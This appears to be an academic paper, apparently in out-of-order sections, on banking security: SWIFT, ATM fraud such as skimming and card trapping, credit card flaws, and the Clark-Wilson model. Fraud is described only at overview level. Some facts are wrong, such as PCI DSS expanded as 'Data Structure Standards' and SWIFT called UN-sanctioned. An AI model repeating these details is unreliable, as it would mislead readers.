impossible to get enough “sample messages” to decrypt the key. 

For example, an attack was found on the ISO 8731 message 

authentication algorithm, but it was estimated that over 100,000 

messages were needed to decrypt one key [1]. 

 

1.3.3   Government Interference 

Overall, the SWIFT system can protect the information well 

throughout the entire process. Well-designed system structures 

can prevent external attacks while various control mechanisms 

can restrict its employees doing harmful actions. However the 

scenario changed after the government interference.  

 

On June 2006, The New York Times and The Wall Street Journal 

revealed the USA government’s program called Terrorist Finance 

Tracking Program. And in September, the Belgian commission 

said SWIFT has for years secretly supplied US authorities with 

massive amounts of personal data for use in anti-terror 

investigation after the 11 September attacks [3]. Also, in 

September 2013, Der Spiegel, a German weekly magazine, 

reported that the National Security Agency (NSA) widely 

monitors banking transactions via SWIFT. According to the 

documents leaked by Edward Snowden, NSA spied on SWIFT 

using various methods including reading “SWIFT printer traffic” 

from numerous banks.  

 

All these reports had proved that SWIFT was unable to block the 

government interference. And the use of the confidential 

information need to be regulated, even by government agencies, 

otherwise security concerns will rise. 

 

1.4 CONCLUSION 

SWIFT system is definitely a safe system that resistant to outside 

attacks. However, it must find a balance between the government 

interference and customers’ information confidentiality. 

 

2.  ATM 
Another important concern of banking systems is the security 

issue of automatic teller machines (ATMs), also known as cash 

machines. With no doubt, ATMs are one of the most commonly 

used tools in financial aspects of our daily life. They usually 

provide simple and comprehensive interface for us to withdraw 

and deposit cash from/into out account conveniently. This section 

will briefly introduce mechanism of the system and mainly focus 

on worries in security of ATMs, especially in recent years. 

 

2.1 Basic Introduction 

The first modern ATM was deployed in England in December 

1972, which offered similar functionalities with respect to the 

current one. With the rapid development of technology, its 

physical appearance and methodology of communications have 

been continuously refined to improve accessibility, integrity and 

confidentiality. Nowadays, most ATMs require the clients to 

provide a plastic ATM card with certain information stored inside, 

which would then be inserted into the machine to initialize the 

dialogue. A personal identification number (PIN) is needed to be 

entered by the client for authentication. The utilization of PIN has 

always been the central issue of ATM as it offers the only 
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pathway for users to officially connect to the system to carry out 

authorized actions. 

 

When the magnetic strip card and PIN were firstly introduced in 

the early years, it brought problems to banks as it is difficult to 

store and manage PINs [4]. They have tried various ways to verify 

and check PINs while preventing them from being easily 

compromised by third party. However, this goal was not really 

achieved until cryptography was adopted for commercial purposes. 

The idea is to use encryption schemes to avoid storing PINs in 

local files which might be acquired through malicious means. 

There were two famous ATM security systems, IBM and VISA 

systems [4]. With US Data Encryption Standard (DES1) algorithm 

they were able to bridge connections between account number and 

PIN secretly. Hence instead of storing PINs directly, the system 

shelled them with encryption keys to protect them from being 

known by the others, even the bank staff.  

 

There are generally two kinds of PIN validation schemes, 

depending how the ATM is operated. If ATM is not connected to 

the bank’s central network, it will perform an off-line PIN 

validation with the encrypted number2. If it is connected to the 

network, then it will send the encrypted number to the central 

processor for verification. 

 

For the past 30 years, the cryptography scheme and policy3 has 

been developed rapidly and become more and more complex. 

However, when banks were trying to integrate the ATM networks, 

incidents of attacks from insiders and outsiders began to appear 

along the time. These alerted the banks and authorities, that even 

with a more complicated and holistic system, security will always 

be the central concern for ATM system. 

 

2.2 ATM Fraud 

Every system has its own vulnerabilities and flaws, as long as it is 

designed and developed by human beings. Although banks and 

technicians have implemented numerous methods throughout 

years to prevent external and internal fraud from happening, 

studies and researches had shown that with the increasing pace of 

technology development, number of ATM fraud cases has risen 

significantly over the past years. They happened across the globe, 

over different financial institutions, and caused tremendous 

damages to both the banks and customers. The following section 

would introduce various kinds of ATM frauds. 

 

2.2.1 Card Trapping 

Card Trapping aims to confiscate customer’s card after it is 

inserted into the ATM and waiting to be scanned by the card 

reader. With the confiscated card, it is possible for the criminal to 

retrieve the account information or even carry out monetary 

transactions from victim’s account.  

                                                                 

1 With 56-bit key working on 64-bit message called blocks, it can 

derive cipher text from plain text, or vice versa. 

2 The PIN is encrypted with a terminal master key supplied to the 

ATM 

3 Known a dual control policy 

 

This is often achieved with a card trapping device inserted into 

ATM’s card slot to disable the returning of ATM card once it is 

inserted. It exploits the function of the ATM card reader and may 

even cause physical damage to it if not installed properly. Since 

PIN is not acquirable with stolen ATM card solely, this kind of 

fraud is often accompanied with a camera at top of ATM or 

keypad overlays to retrieve PIN at the same time the card is 

jammed. 

 

One of the most famous card trapping devices is Lebanese Loop. 

It can be as simple as a metallic strip just to block ATM’s card 

reader. The usage of Lebanese Loop has been frequently observed 

in countries like England, United States and France in the past 

years [6]. Although the low-tech design allows it to be easily 

manufactured and deployed, it can only trap one card at one time 

as the customer will immediately report to the bank once their 

card is jammed. It would have a low rate of success if the 

customer is aware of card trapping fraud. 

 

In recent years, banks has adopted many strategies to counter card 

trapping fraud, such as refining ATM’s card reader, install more 

security cameras and employ security guards. As a result, incident 

reported in this aspect has shown a decrease in number, but it 

seems criminals also moved to fraud with higher level of 

technology such as card skimming.   

 

2.2.2 Card Skimming 

Card skimming is achieved with the utilization of a card skimmer 

which is a device to retrieve card details once the magnetic strip 

pass through it. It is usually installed near the ATM’s card reader 

to be enabled to read information once inserted to the official one. 

Normally, when the customer has inserted the card to the machine, 

and entered PIN, the transaction would not be obstructed by the 

skimmer and he or she may not even notice its existence after a 

successful withdrawal or deposit. 

Since the card details on magnetic strip won’t contain direct copy 

of PIN, card skimmer is often used in collaboration with a camera 

and keypad overlays. A standard skimmer is able to read hundreds 

of card information before it is removed from the ATM by the 

criminal. 

 

As it is difficult to be detected and can read multiple cards before 

removal, card skimming has a higher rate of success and better 

efficiency as compared to card trapping. Hence it has become the 

most commonly observed ATM attack around the world, mainly 

in developed countries in South America and Europe. One of the 

most famous known incidents locally is the ATM fraud on DBS 

bank in 2012. With card skimmer the fraudster withdrew from 

about 400 accounts, and caused a loss of $500000 dollars to DBS 

bank4. This was done on two ATMs in Bugis over a period of 

three days before the customers noticed unauthorized withdrawals 

from their accounts. It is not difficult to see how huge the 

damages can be caused by such fraud. Nevertheless, we can also 

see that DBS responded to it very quickly and successfully 

avoided further losses. This exactly indicated that security of 

                                                                 

4 Development Bank of Singapore, the largest bank in Southeast 

Asia by assets 
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ATM system has always been the priority for banks, and while 

there are still flaws and vulnerabilities in the system, banks would 

never stop to swiftly identify and solve the problems once 

happened.  

 

2.2.3 Cash Trapping 

Similar to card trapping, cash trapping is about trapping the cash 

in the cash dispenser of ATM after customers perform withdrawal 

actions.  

 

This is achieved with a small device or a fake card dispenser 

frontend to be placed near or within the ATM’s cash dispenser, 

which would prevent cash from being dispensed properly during a 

transaction. This normally won’t cause as huge the damages as 

card skimming as usually the ATM has withdrawal limit for each 

transaction. However, according to data collected by European 

ATM Security Team (EAST), the number of this kind of incidents 

are increasing in recent year, and the accumulated amount of 

losses worth the significant amount of attentions from banks.  

 

2.2.4 Cyber Attack 

While working as a frontend for convenient monetary transactions 

between banks and customers, ATMs rely on certain operating 

systems to function properly. Therefore, it is inevitable that the 

system would have flaws which could be exploited by malicious 

software to perform unauthorized commands inside.  

 

There are typically two kinds of cyber attacks on ATM system. 

The first one is local attack, which involved injection of malware 

to obstruct connections between ATM’s card reader and processor 

to redirect the information of card inserted to the desired location 

on a mobile storage device. The second one is remote attack, 

which is the attack on the network between ATM and backend to 

instruct unauthorized actions such as cash dispensing without 

record of transaction. 

 

This kind of fraud has continued to rise in recent years as 

according to reports from United States and countries in Europe, 

mainly due to the rapid development in information technology. 

However, we should be able to notice that besides experience in 

computer system and hacking, it is necessary for the hackers to 

have administrative privileges in order to install malwares in the 

ATM’s operating systems. Therefore it raises serious concern 

about how to prevent the system from being compromised by 

insiders. Since once the malware is installed, it is able to hide and 

collect data in the system undetected for quite a long period of 

time before the person achieves his or her purpose. This kind of 

criminals often has strong support from malicious organizations 

instead of committing crimes individually. Once they successfully 

retrieve all information needed from the network, the potential 

losses could be prevalent.  

 

2.3 Actions Against Fraud  

As mentioned before, security of ATM system has always been 

the priority concern for financial institutions as it continues to 

provide challenges in preventing damages and losses from 

financial crimes. In order to achieve necessary protections, banks 

and authorities must constantly explore existing and potential 

security breaches and respond accordingly, as well as 

implementing efficient and effective mechanism to counter 

attacks on ATMs and the network.  

 

The common practice is first to raise the awareness of customers 

with Public Service Advertisements (PSAs), to inform them with 

various kinds of ATM fraud and how to protect themselves 

against potential crimes. Second, financial institutions should 

provide substantial training on security staff in collaborations of 

preventing both external and internal fraud. Third, improve the 

infrastructure of ATMs to counter card trapping\skimming and 

cash trapping as well as building a secure network system with 

strong access control and regular maintenance. 

 

To be more detailed, several improvements and new mechanisms 

have been deployed to counter ATM fraud by various banks in 

many counties: 

 

Anti-skimmer devices – They can emit electromagnetic waves to 

intercept signals sent by skimmers to make them unable to read 

card information during transactions. Besides, these devices are 

also equipped with sensors for detection of foreign objects. When 

criminals try to install mini-cameras and keypad overlays, siren 

will be triggered to alert the bank. 

 

Security cameras and keypad shield – These are basically 

implemented to protect PINs being observed by third party. Hence 

during validation when customers enter PIN, security cameras are 

able to notice any suspicious people or actions, and the keypad 

shield can block side views. 

 

Requirements in managing sensitive data – Payment Card 

Industry Security Standards Council has developed Payment Card 

Industry Data Structure Standards (PCI DSS) to facilitate the 

protections of customers’ sensitive data in financial and 

commercial aspects. It provides guidance for merchants to keep 

customers’ sensitive data secure and safe during business, which 

can enhance the security of data flows in ATM network.  

 

One question that would always worry us is that whether these 

measures are really promising in prevention of ATM frauds or not. 

In my opinion, it is difficult to make solid conclusion. Currently, 

they seem to work properly and counter several fraud techniques. 

However, it is hard to tell when there are new kinds of frauds with 

more sophisticated methods and devices, if they can still function 

in respond to the situations. Anyway, it is still a long way to fight 

financial crimes targeting ATMs. The financial institutions, which 

play the most important roles in marketing and commerce, should 

always be vigilant to face potential challenges and risks. 

 

2.4 Recent Concern: End of Service for 

Windows XP 

Microsoft Corporation had announced that they will stop 

providing tech support for Windows XP in April 8th 2014, which 

has prevailing impact in ATM industry. According to statistics 

from National Cash Register Corporation (NCR) in United States, 
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about 95 percent of the world’s ATMs are powered by 

Microsoft’s Windows XP system in past year. The end of 

Microsoft support for this system essentially implies that after the 

designated date, all those ATMs which are still running Windows 

XP will be exposed to new threats in security from potential 

attacks targeting the system’s vulnerabilities [5].  

 

In fact, Microsoft has indicated its intention to terminate support 

for Windows XP for years, but it seems that the ATM industry is 

not actively respond to this beforehand. As a result, only not more 

than one third of the machines in the world are able to upgrade 

their system to Windows 7 on time, leaving the rest either using 

outdated one or signing custom support contracts with Microsoft 

before Windows 7 is fully installed [5]. 

 

Experts of Internet security in United States suggest that, hackers 

would not likely to give up the opportunities to attack machines 

with Windows XP the very first minute after the tech support is 

ended. It has become controversial whether ATMs still running 

the old system after April 8th will be affected adversely. Well-

established banks such as Bank of America and Citibank have 

taken necessary measures to secure customers’ sensitive data [5], 

but it remains questionable for those small financial institutions. 

High cost of upgrading operating system does stop some of them 

from considering running Windows 7 on their ATMs. 

 

Therefore, this incident has raised certain flags about the future 

concern for ATM system if there is another significant change 

worldwide. How should financial institutions find the balance 

between risks and profits? It is extremely difficult to answer, but 

maybe it could be better to prevent potential harms rather than 

trying to fix the problem after losses are already incurred.  

 

3. CREDIT CARD 

3.1 Introduction: 
A credit card is a payment card issued to customers as a system of 

payment. It allows the cardholders to pay for goods and services 

based on his promise to pay for them. The earliest credit card 

appeared at the end of 19th century. And its popularity 

significantly increased during the last a hundred years and now it 

is widely accepted in 95% countries around the world. Credit 

cards allow a much more purchasing power and ease of purchase 

to the modern people. In general, the issuer of the card creates a 

revolving account and grants a line of credit to the consumer from 

which the user can borrow money for payment to a service 

provider as a cash advance to the user. Credit card allows the 

consumer a continuing balance of debt. Customers only need to 

pay a certain amount of the balance each month, subject to interest 

being charged. Meanwhile, the actual payment made by the credit 

card during the transaction comes from a third-party entity and 

would be reimbursed by the customers later on, instead of 

charging the customers directly.  

 

3.2 Credit Card Security System In the Early 

Age 
The threat to credit card is mainly fraud and forgery. The old 

systems to manage the risk of fraud are Hot-card List and 

Merchant Floor limit.  

 

A card list is used to identify returning consumers to determine if 

they had good business or bad business in the past. Meanwhile, 

hot-card list, also known as negative card list or paper warning 

bulletins, is used to reject orders from consumers that had charge-

backs on previous orders. Each merchant kept a paper warning 

bulletin which listed over-limit or past-due credit cards and stolen 

cards around the local. These paper lists were compiled and 

updated by Credit Card association weekly. When the merchant 

was going to process a transaction, merchant checked the credit 

card number used in transaction against the list and took action 

accordingly.  Meanwhile, hot-card list usually worked with 

Merchant floor Limit. A floor limit is the amount of money above 

which credit card transactions must be authorized. This limit 

varies from store to store [7]. In the old system, merchants needed 

to process transactions by taking a physical imprint of the card 

(embossing). In addition, obtaining an authorization required time 

consuming human intervention (such as a long-distance phone 

call). Therefore, merchants were allowed to process a transaction 

under floor limit without seeking authorization to decrease the 

inconvenience of using Credit Card. And for lowering the risk of 

loss, if a transaction was above the floor limit, merchants must 

obtain an authorization via an authority agencies. Unlike 

merchants who just kept a local hot-card list, a credit card 

authority agency kept a hot-card list on national level and was 

more recently updated. If the transaction amount was even higher 

than the agency’s floor limit, the approval of the transaction must 

come from a higher-level agency or the bank which issued the 

credit card that making the payment [1]. 

 

Besides, the old credit card system also accepted mail and 

telephone order. These meant the customers couldn’t be at the 

scene and their credit cards could not be checked in person. In 

order to decrease the risk of being fraud, merchants would check 

the expire date of the Credit Card. In addition, the merchant floor 

limit of telephone and mail orders was set to be lower than face-

to-face order. Most importantly, the goods ordered in Credit Card 

could only be sent to the cardholder’s address. Meanwhile, 

merchants must take full responsibility of the transaction disputes. 

In these ways, the risk of Credit Card issuers is lowered.  

 

3.3 Flaws In Old Credit Card Security System 
The major flaw in old Credit Card system was that the sales draft 

was captured only by embossing. This fraud was still incurring 

loss even after electronic terminal was introduced. Crooks found a 

way that they could re-encode the magnetic strip of a stolen card 

and an account number and expiry date of a valid card was able to 

be added to it. Accessing the account number and expiry date of a 

valid card was quite easy. Crooks could easily get these 

information from discarded receipts from the trash cans in 

expensive restaurants, shopping mall and so on. Amazingly, the 

re-encoded Credit Card would be authorized perfectly during 

transaction, but when the merchant submitted the sale draft in 

order to get paid, the account number would fail the authorization 

code since the account number embossed on the card was invalid. 

As a result, the merchants didn’t get paid. This flaw existed 

because there was not a way to check if the information embossed 

on the card and the information stored in the magnetic strip were 

the same.  

 

The second flaw was the old Credit Card security system was 

vulnerable to card skimming.  The idea was to grab card 

information from a genuine card without being noticed by the 

customer. Usually crooks would try to make a decent customer 

swipe his genuine card through an extra, unauthorized terminal 
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during a transaction unnoticed. This illegal terminal would grab a 

copy of the magnetic strip of the genuine card and crooks used 

this information to re-encode on another card. Other common 

scenarios for skimming include restaurants or bars where the 

skimmer has possession of the victim's credit card out of their 

immediate view [8]. The thief might also use a small keypad to 

unobtrusively transcribe the 3 or 4 digit Card Security Code, 

which was not present on the magnetic strip. Call centers were 

another area where skimming can easily occur [9]. Skimming 

could also occur at merchants such as gas stations when a third-

party card-reading device was installed either outside or inside a 

fuel dispenser or other card-swiping terminal. This device allowed 

a thief to capture a customer’s credit and debit card information, 

including their PIN, with each card swipe [10]. 

 

Another flaw was pre-issued flaw. Credit card was usually sent to 

the customer via mail. Criminals might steal some credit card in 

the post office before the real cardholder actually received it. 

Then this Credit Card would be used for fraudulent purchases [11]. 

 

In addition, Credit Card couldn’t stop vicious merchants. Crook 

business which skimmed card data may absorb the cost of the 

customer’s transaction rather than billing it. For example, you had 

a meal at a Mafia-owned restaurant, offered a card, signed the 

voucher, and failed to notice when the charge didn’t appear on 

your bill. Perhaps a year later, there would be suddenly a huge bill 

for jewelry, electrical goods or even casino chips. By then you 

had completely forgotten about the meal, and the bank never had a 

record of it. 

 

3.4 The Modern Credit Card Security System 
The major improvement in Modern Credit Card Security System 

is brought by modern information technology. All the Credit Card 

services now are online and real-time. Old security system is still 

being used but modified by the Internet. The fraud risk 

management largely is still achieved by Hot-card list and 

Merchant floor limit.  However, the authorization method now is 

real-time and done via Internet. The cost of transaction 

authorization has been reduced significantly. In fact, now nearly 

every transaction made by credit card would be authorized [1]. 

The recent update in this authorization technology is “Verified by 

VISA”.  This technology allows merchants be able to refer online 

credit-card transactions directly to the issuing back which then 

authenticates the cardholder using its preferred method[1]. In this 

way, the transaction can be treated as the cardholder presents in 

person so that the merchant no longer at risk anymore. For 

example, when a customer makes payment online, he may receive 

a nonce in text message by phone and the online website will 

require this customer to enter the nonce in order to verify his 

identity. In a word, the modern information technology allows 

Credit Card to do more sophisticated authorization which the old 

system cannot afford to. But the security mechanism doesn’t 

change much. 

 

Meanwhile, some fixes have been introduced into the security 

system in order to fix certain flaws in the Credit Card Security 

System. The first one is terminal draft capture. This function 

allows terminal to print sale draft using the information stored in 

the magnetic strips in order to fix the flaw brought by using 

embossing Credit Card as sale draft. Another further counter 

measure to fraud - CVV/CVV2 is also introduced. This code is 

generated according to the magnetic strips information such as 

account number, version, and expiry date and so on [12]. This 

code could significantly reduce the risk brought by forgery Credit 

Card.  

 

In addition, in order to prevent pre-issued flaw, most new credit 

cards will require the cardholder to activate his new credit card 

before using it. Normally the mail containing customer’s credit 

card has a sticker on the front with instructions for activating the 

card. Typically, customer has to call the bank which issues his 

card and enters the credit card number (or maybe just the last four 

of the account number), the last four of his social security number, 

billing zip code, and maybe his telephone number. In this way, the 

cardholder’s identity can be confirmed before giving him 

permission to use the credit card.  

 

In order to prevent counterfeiting of the physical Credit cards, 

security features have been added to the card. Most modern credit 

cards have a watermark or hologram. A Visa card has a letter V 

on the top of the regular Visa logo and a MasterCard has the 

letters MC across the front of the card. Such security features are 

only visible under ultraviolet light and are invisible in normal 

light.  

 

On the other hand, banks start to take initiative to prevent fraud. 

They bring out many methods to do fraud detection. The first 

method is finding the pattern of misuse of Credit Card [1]. The 

methods involve paying attention to high value purchases, training 

staff to be careful when customers are careless about purchases 

and spend less than the usual amount of time discussing options 

and features. Employee may be also rewarded by capturing bad 

card. Some banks give a $50 reward per bad card captured[1].  

 

3.5 The Flaws In the Modern Credit Card 

Security System 
The first flaw is that the modern Credit Card system is vulnerable 

to phishing attacks. The flaw doesn’t come from system 

mechanism but rather than implementation. For example, the 

“Verified by VISA” method intends to provide safer environment 

by identification. However, the quality of the methods for 

identification varies. For instance, some identification method 

requires customer enter their PIN. This makes customer an easy 

target of phishing attack[1] and leaks their PIN to crooks.  

 

The second flaw is that the modern Credit Card system is also 

vulnerable to real-time man-in-the-middle attack. Here is an 

example scenario: After some bank in Russia hands out password 

calculators to their online banking customers, the middleman can 

do phishing real time. The customer may log on to the phishing 

site, which would then log on to the bank site and relay the 

challenge for the customer to enter into his calculator. In this way, 

some safety measures for ensuring security and authentication 

taken by banks can be easily by-passed. Banks have tried to take 

some counter measure such as looking out for large numbers of 

logons coming from the same IP address[1]. But the crooks can 

easily morph his method such as using botnet to carry out the 

middleman attack successfully again. 

 

Furthermore, the flaws in Modern Credit Card Security System 

come from the new Information technology applied to the system. 

The information technology not only enhances the security of the 

Credit Card but also indirectly weakens it. For instance, modern 

Credit cards allow international online transactions. This weakens 

the old security measures such as lowering merchant flooring 

limit, delivery must be sent to the cardholder addresses. This is 
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because it is really hard to verify an overseas address and many 

international transactions are indeed quite small – A German 

customer may pay $1 dollar in Apple store for purchasing the new 

released song of Lady Gaga. Such amount will not trigger floor 

limit at all.    

 

These technical flaws indeed are hard to fix and will exist for a 

long time. On the other hand, many fraud against Credit Card 

such as phishing attack is more likely due to be philosophical 

reason. If the customers never enter phishing site then phishing 

may not happen at all.  Therefore, banks should also look to 

measures other than technology to enhance the security of the 

Credit Card.  

 

On the other hand, some flaws come from the reluctance to 

execute security policy. This is largely due to the Credit Card 

Authority agency doesn’t have strong regulation power to the 

merchants, especially online merchants. For example, the 

Authority agency forbids merchants to store credit card 

information after the completion of the transactions [13]. But 

many merchants just ignore this policy. For real example, VISA 

required all merchants to install firewalls and update their 

software and encrypt their data. Many merchants just ignore this 

too. These incurs a loophole in the Credit Card security system. 

Many credit card leakage happens since the hackers successfully 

attacked the merchants’ websites and got access into the database 

that stored credit card information. Moreover, malicious 

merchants are another loophole. People can be asked for payment 

once he browse a malicious website. These malicious merchants 

can try to trick the customers and make them make unwanted 

payment. The famous example is some website requires 

customers entering their credit card number to verify his age and 

claim such verification is free at all. Once customers believe their 

trick, the malicious website could charge them on other terms. 

 

In conclusion, the whole Credit Card System is to manage risk 

instead of avoiding risk. Credit Card as a mean to ease making 

payment will always have security flaws. As credit card allows 

people to have convenience and convenience will inevitably incur 

security flaws. Therefore we cannot expect Credit Card system to 

be flawless and perfectly safe. However, if customers could adept 

a better habit in information security and the Credit Card authority 

could have stronger regulation power over merchants, the flaws in 

Credit Card security system would be minimized and crooks 

would have less chance to fraud.  
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ABSTRACT 
Banking system in the context of this paper refers to the systems 
used by banks or financial institutions for funds transfer or secure 
messaging between different institutions or between institutions 
and clients. Today’s technological advancement instigates the 
evolution of various banking systems which are adopted and 
practiced by banks worldwide. In this paper, we will be discussing 
about the banking infrastructure that are commonly adopted by 
banks globally. This paper also focuses on issues leading to 
insecurity worries on the existing banking systems by examining 
the potential risks, impacts and evidence of intrusion. Lastly, we 
will explore various countermeasures that are implemented to 
enhance the security level of banking system. 

Categories and Subject Descriptors  
K.4.4 [Electronic Commerce]: Electronic data interchange 
(EDI),   Security  

J.1 [Administrative Data Processing]:  Financial (e.g. EFTS) 

General Terms 
Design, Reliability, Security, Standardization 

Keywords 
Banking, Data Integrity, Authentication, Vulnerabilities, Cyber 
attacks 

1. INTRODUCTION 
Financial institutions and customers are recognizing a growing 
need to manage cash resources more efficiently and securely. 
Today’s advancement in economic and financial factors, together 
with improved data communications and computer technology, 
have driven up demand for electronic funds transfer (EFT) 
services from the financial industry. EFT is defined as transfer of 
funds which is initiated through an electronic terminal, telephonic 
instrument, computer, magnetic tape or credit/debit cards so as to 
order, instruct, or authorize a financial institution to debit or credit 
an account. 

Up to trillions of dollars are being exchanged globally on daily 
basis through the electronic fund transfer system. For U.S. 

financial institutions, these transactions are handled by banking 
systems such as FedWire, CHIPS, and SWIFT. Additionally, 
other funds transfer services, such as Automated Clearing Houses 
(ACH), Automated Teller Machines (ATM), Point-of-Sale (POS) 
systems, debit cards, and “smart cards” are also gaining popularity 
among customers. These transactions are mainly initiated by the 
customers rather than the financial institution thus they are usually 
considered retail funds transfer systems.  

With the massive flow of assets through the banking systems, it is 
crucial for financial institutions and regulatory authorities to 
ensure the quality and the level of security of internal controls as 
well as the management’s awareness of the inherent risks 
associated with the various systems. 

2. BANK SECURITY DESIGN MODEL  
This section covers some standard models or security designs 
implemented and followed by some banks. 

2.1 Clark-Wilson Security Model 
Confidentiality, integrity and availability are the three important 
aspects when information systems security is involved. Integrity is 
heeded in commercial industry such as banks to prevent 
modifications of data from unauthorized users. Since David D. 
Clark and David R. Wilson argued that integrity is more of a 
concern rather than confidentiality, banks nowadays practice the 
Clark Wilson (CW) model.  
 
There are two principles suggested in CW model. The first 
principle is the separation of duty, where no individual is allowed 
to perform a task throughout the process but instead, a task is to 
be done by several independent parties. This is to prevent fraud by 
individual’s acts. Secondly, a well-formed transaction is a 
principle that allows users to make legitimate changes or modify 
data arbitrarily only in constrained manners, making internal data 
accurate and consistent. An example of this is double-entry 
bookkeeping which creates two sets of entries namely credit and 
debit which will ensure the integrity of data is preserved. 
 
Clark and Wilson classify data into Constrained Data Items (CDI) 
and Unconstrained Data Items (UDI). CDIs are objects that follow 
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integrity model in which the integrity is assured. While, UDIs are 
objects that are not in the policy, ensuring the integrity such as 
data entered by the user on the keyboard. 
 
Two procedures are then applied to these data items for 
protection. Integrity Verification Procedure (IVP) verifies that the 
data items are in a valid state where particular individual is 
rightfully his own. Second is Transformation Procedure (TP) 
which changes the data items from one valid state to another, 
modify CDIs or take arbitrary user input and create new CDIs. 
Integrity enforcement systems require that all transformation 
procedures be logged to provide an audit trail of data item 
changes [1].  
Refer to Figure 2.1a Application of Clark-Wilson in bank (in 

Appendix A) 
Certification and Enforcement in CW policy as below: 
C1: All IVPs must ensure that CDIs are in a valid state  
C2: All TPs must be certified as integrity-preserving 
C3: Assignment of TPs to users must satisfy separation of duty 
C4: The operation of TPs must be logged 
C5: TPs executing on UDIs must result in valid CDIs 
E1: Only certified TPs can manipulate CDIs 
E2: Users only access CDIs via TPs for which they are authorized 
E3: Identify of user attempt to execute a TP must be authenticated 
 

2.2 Internal Control Design 
Internal control is the essential part of a banking system which 
involves entity’s board of directors, management, and other 
personnel. It can be viewed as management processes of planning, 
executing and monitoring. This practice is designed to provide 
reasonable assurance on achieving of objectives such as reliability 
of financial reporting, efficiency and effectiveness of operations 
and compliance with laws and regulations [2]. 

Refer to Figure 2.2a Internal Control Architecture of Bank 
(In Appendix A) 

 
Table 2.2 Explanation of each component 

Component Description 

Control 
Environment  

Core foundation for the other components 
that shape discipline and structure of an 
organization 

Risk 
Assessment 

Analysis of risk in accomplishing objective 
and identification of ways to reduce risk 

Control 
Activities 

Policies and procedures that help ensure 
that management directives are carried out 

Information & 
Communication 
Systems 

Identification and exchange of information 
in a form and time frame that enable people 
to carry out their responsibilities 

Monitoring Assesses the performance and quality of 
internal control periodically 

 

2.3 Risk Mitigation in Fund Transfer System 
Funds transfers present several risk factors such as the volume of 
transactions, geographic location of originators and beneficiaries 
and whether beneficiary is a bank customer. An effective risk-
based suspicious activity monitoring and reporting system should 
be sufficient to detect suspicious trends and patterns typically 
associated with money laundering. 
 
Some regulations imposed are financial institutions should not 
omit, delete or alter information in payment messages or orders 
for the purpose of avoiding detection of that information by any 
other financial institution in the payment process[1]. Some banks 
have effective funds transfer monitoring system to detect 
suspicious transactions. This monitoring may be conducted using 
risk-based approach after the transfers are processed automatically 
[3]. 
 

2.4 Centralized Security Environment with 
SSL communication 
 
Refer to Figure 2.4a Bank Server Securities and Branching (in 

Appendix A) 
 

Online transactions such as internet-banking have becoming a 
vital role in banking sector. Every transaction made online will go 
through a series of interconnected transaction processing systems 
in order to reach the bank server. Thus, it is important that 
sensitive user data should be sent and received in a secure manner 
where data cannot be subjected to unauthorized access, 
modification, and even destruction. An example of interconnected 
environment that spawns transactions and data across are 
centralized CICS Transaction Server and a TXSeries branch-
based interconnected system [4]. 
 
Some of the security features of this environment include digital 
certificates which are used for key exchange, server and client 
authentication. During initial SSL session, digital certificates are 
used to establish the server’s and identify the client’s identity 
which provides the bind security. SSL handshake is performed to 
produce the cryptographic attributes to be used for data encryption 
between the partner systems. When the session is established 
between partner systems, all the data that flows over the wire is 
first encrypted using cryptographic attributes before sent.  
 

3. BANKING SYSTEM 
This section presents a few banking systems that are commonly 
implemented in today’s financial institution. Online banking 
system is fundamental for the today’s business. Efficient funds 
transfer becomes a necessity for many industries such as trading 
and investments.  Therefore, global and local inter-banking 
services are used for such purposes. 

3.1 S.W.I.F.T 
SWIFT stands for Society for Worldwide Interbank Financial 
Telecommunications. SWIFT is also a United Nations sanctioned 
International Standards Body (ISO) for the creation and 
maintenance of financial messaging standards [1]. SWIFT was 
formed in 1974 as a result of discussion between seven major 
international banks to overcome the limitations of Telex as a mean 
of secure delivery of payment and confirmation information, 
mainly in the Treasury and Correspondent banking sector. Telex 
is a system of communication in which messages are sent over 
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long distances by using a telephone system and are printed by 
using a special machine called a teletypewriter. The major 
limitation of Telex is its speed (50 Baud or approximately 8 bytes 
per second) [2] followed by its flexible format which made 
automation at the receiver almost impossible and the lack of 
security as Testkeys are only being calculated on a subset of the 
message content. 

3.1.1  How SWIFT works 
SWIFT is able to overcome the limitations presented by telex due 
to its revised architecture with security as the emphasis and not 
sacrificing speed at the same time. The architecture of the SWIFT 
network is able to support the requirements for a fully redundant 
24x7 secure operation that is highly scalable. The operation of the 
network is mainly controlled by the System Control Processors 
and the Slice Processors. All messages are safe-stored on two 
media. The slice processors and the system control processors are 
located in the operating centres which is located in the US centre 
and also at the centre in the Netherlands. 

The Regional Processors are the entry and exit point to SWIFT 
and they support Leased line, Dial up or Public Data Network 
connection. The most common method is primary leased line with 
dial-up backup. They are usually in same country as the user and 
provide sequence number checking and message validation, 
temporary safe-storage, generation of Positive and Negative 
Acknowledgements and verification of checksums 

A Computer Based Terminal (CBT) that is also referred to as a 
SWIFT interface is then located at each user site. These terminals 
provide connectivity to the local regional processor and facilitate 
both manual entry of messages and bridging to the originating 
applications. Once in the network the SWIFT formatted message 
will be carried to the designated receiver. The nine primary 
categories of financial messaging supported include customer 
transfers, bank to bank instructions, foreign exchange and 
derivatives, documentary collections, securities, syndicated loans 
and precious metals, travellers checks, documentary credits, 
statements, advice, and general messages. 
 
Refer to Figure 3.1.1a Illustration of SWIFT’s architecture [3] 

(in appendix A) 
 

3.1.2  SWIFT Network Structure 
The SWIFT system can report statistics on messages sent and 
received. It possesses a 14-day backup, which allows retrieval of 
messages up to two weeks after the original transmission dates. 
This allow statuses or content of messages to be able to be 
retrieved by banks when problem occurs.[10] 

SWIFT uses TCP/IP and X.25 network protocols. The X.25 
protocol allows computers on different network to communicate 
through an intermediary computer at the network layer level. 
X.25's protocols correspond closely to the datalink and physical-
layer protocols defined in the Open Systems Interconnection 
(OSI) communication model. Financial institutions worldwide 
connect and extend by the IP based SWIFT network from the 
SWIFT operating centers to the customer premises. SWIFT 
System consists mainly of the Secure IP network (SIPN), 
Connection, SWIFTNet, SWIFTNet Link, SWIFT Interface, etc. 
The Secure IP Network (SIPN) is a private network of leased 
bandwidth owned by SWIFT. Connection can be made through 

the Customer premises equipment (CPE) via a leased line or 
ISDN to a SWIFT Point-of-Presence (POP) system, or by PSTN 
or ISDN dial-up connection. [16] 

3.1.3 S.W.I.F.T Codes and Messages 
SWIFT code is a standard format of Bank Identifier Codes (BIC) 
and every bank possesses a unique identification code. 
Banks utilize these codes during inter-bank money transfer, 
especially for international wire transfers. Banks also used the 
codes for message exchanges between them. 
 
The SWIFT code consists of 8 or 11 characters. When 8-digits 
code is given, it refers to the primary office. [8] 
• First 4 characters - bank code 
